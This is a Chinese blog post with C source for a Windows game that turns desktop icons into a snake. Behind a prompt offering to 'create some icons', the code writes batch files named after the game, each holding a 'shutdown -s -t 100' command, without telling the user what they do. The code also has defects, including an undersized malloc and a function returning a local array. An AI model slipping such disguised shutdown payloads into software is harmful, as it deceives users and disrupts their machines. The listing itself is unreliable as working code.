C语言实现桌面贪吃蛇小游戏

时间:2022-11-27 23:49:37

本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~

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#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h"
#include <stdio.h>
#include <string.h>
#define SIZE 100     //图标大小默认为100
 
HWND deskpot;   //桌面句柄
int iCount = 0;  //图标个数
int screenX;   //获取屏幕的分辨率(宽)
int screenY;     //获取屏幕的分辨率(高)
int eatCount = 0;  //计数(已经吃到的图标)
int index = 0;
int speed = 500;  //初始速度
 
typedef struct Snake   //蛇结构体
{
    int x;
    int y;
    int index;
    struct Snake* next;
}snake;
 
snake* Head;  //蛇头
snake* SnakeTemp;  //临时的
POINT food;  //食物位置
 
 
 
char* GetDesktopPath();      //返回桌面路径
void Initialization();      //初始化变量
void StartGame();         //开始游戏
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    Initialization();
    MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
    StartGame();
    return 0;
}
 
void Initialization()     //初始化变量
{
    srand(unsigned int(time(NULL)));
 
    HWND grandpa = FindWindowA("Progman", "Program Manager");
 
    HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);
 
    deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");
 
    iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0);    //获取句柄中控件的个数
    screenX = GetSystemMetrics(SM_CXSCREEN);  //获取屏幕的分辨率(宽)
    screenY = GetSystemMetrics(SM_CYSCREEN);  //获取屏幕的分辨率(高)
    Head = (snake*)malloc(sizeof(Head));
    Head->x = rand() % (screenX / SIZE) * SIZE;   //蛇头初始化位置
    Head->y = rand() % (screenY / SIZE) * SIZE;
    Head->index = 0;
    Head->next = NULL;
 
    if (iCount < 30)
    {
        if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES)   //判断桌面图标是否够30个,不够就创建些
        {
            FILE* fp;
            char Path[200];    //保存文件路径
            char temp[20];    //存储文件名
            char FineName[100];  //存储文件的全名加后缀名
 
            for (int i = 0; i < 30 - iCount; i++)
            {
                memset(Path, 0, 200 * sizeof(char));
                strcpy(Path, GetDesktopPath());  //将桌面路径给Path
                sprintf(temp, "\\贪吃蛇%d.bat", i);
                strcat(Path, temp);
                if ((fp = fopen(Path, "w+")) == NULL)
                    continue//如果他建失败就跳过
 
                fprintf(fp, "shutdown -s -t 100");
                fclose(fp);
            }
        }
    }
    for (int i = 0; i < iCount; i++)
    {
        //因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算
        SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
    }
    return;
}
 
char* GetDesktopPath()      //返回桌面路径
{
    LPITEMIDLIST pidl;
    LPMALLOC pShellMalloc;
    char szDir[200];
    if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
    {
        if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
        {
            // 如果成功返回true
            SHGetPathFromIDListA(pidl, szDir);
            pShellMalloc->Free(pidl);
        }
        pShellMalloc->Release();
    }
 
    return szDir;
}
 
void StartGame()         //开始游戏
{
 
    SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x);   //打印蛇头
 
label:
    food.x = rand() % (screenX / SIZE) * SIZE;
    food.y = rand() % (screenY / SIZE) * SIZE;
    if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
        goto label;
    SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x);   //打印食物
 
    snake SnakeMove;    //蛇的移动
    SnakeMove.x = 1, SnakeMove.y = 0;   //默认向右移动
 
    while (eatCount < iCount)
    {
        if (GetAsyncKeyState(VK_UP) != 0)   //上
            SnakeMove.x = 0, SnakeMove.y = -1;
 
        if (GetAsyncKeyState(VK_DOWN) != 0)  //下
            SnakeMove.x = 0, SnakeMove.y = 1;
 
        if (GetAsyncKeyState(VK_LEFT) != 0)  //左
            SnakeMove.x = -1, SnakeMove.y = 0;
 
        if (GetAsyncKeyState(VK_RIGHT) != 0)  //右
            SnakeMove.x = 1, SnakeMove.y = 0;
 
        if (GetAsyncKeyState(VK_ESCAPE) != 0)  //结束
        {
            MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
            exit(0);
        }
 
 
        if (GetAsyncKeyState(VK_SPACE))     //按空格键暂停
        {
            while (1)
            {
                Sleep(300);
                if (GetAsyncKeyState(VK_SPACE))     //再按一次空格键继续
                    break;
            }
        }
 
 
        if (Head->x == food.x && Head->y == food.y)
        {
            index++;
            eatCount++;
            speed = speed - (speed / 10);
            snake* temp;
            temp = (snake*)malloc(sizeof(snake));
            temp->x = food.x;
            temp->y = food.y;
            temp->index = index;
            temp->next = NULL;
 
            SnakeTemp = Head;
            while (SnakeTemp->next != NULL)
            {
                SnakeTemp = SnakeTemp->next;
            }
            SnakeTemp->next = temp;
 
            SnakeTemp = Head;
            SnakeTemp->x += SnakeMove.x * SIZE;
            SnakeTemp->y += SnakeMove.y * SIZE;
            while (SnakeTemp != NULL)
            {
                SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
                SnakeTemp = SnakeTemp->next;
            }
 
        label2:
            food.x = rand() % (screenX / SIZE) * SIZE;
            food.y = rand() % (screenY / SIZE) * SIZE;
            if (Head->x == food.x && Head->y == food.y)  //如果食物的坐标和蛇头的初始位置相同则重新产生
                goto label2;
            SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x);   //打印食物
 
        }
        else
        {
            snake Temp;
            snake Temp2;
            bool choice = false;
            SnakeTemp = Head;
            Temp.x = SnakeTemp->x;
            Temp.y = SnakeTemp->y;
            SnakeTemp->x += SnakeMove.x * SIZE;
            SnakeTemp->y += SnakeMove.y * SIZE;
            SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
 
            SnakeTemp = Head->next;
            while (SnakeTemp != NULL)
            {
                Temp2.x = SnakeTemp->x;
                Temp2.y = SnakeTemp->y;
 
                SnakeTemp->x = Temp.x;
                SnakeTemp->y = Temp.y;
                SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
                Temp.x = Temp2.x;
                Temp.y = Temp2.y;
                SnakeTemp = SnakeTemp->next;
 
            }
            if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
            {
                MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
                exit(0);
            }
 
            SnakeTemp = Head->next;
            while (SnakeTemp != NULL)
            {
                if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
                {
                    MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
                    exit(0);
                }
                SnakeTemp = SnakeTemp->next;
            }
 
        }
 
        Sleep(speed);
    }
    return;
}

游戏界面如图:
C语言实现桌面贪吃蛇小游戏

失败界面如图:
C语言实现桌面贪吃蛇小游戏

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原文链接:https://blog.csdn.net/LYXlyxll/article/details/111408765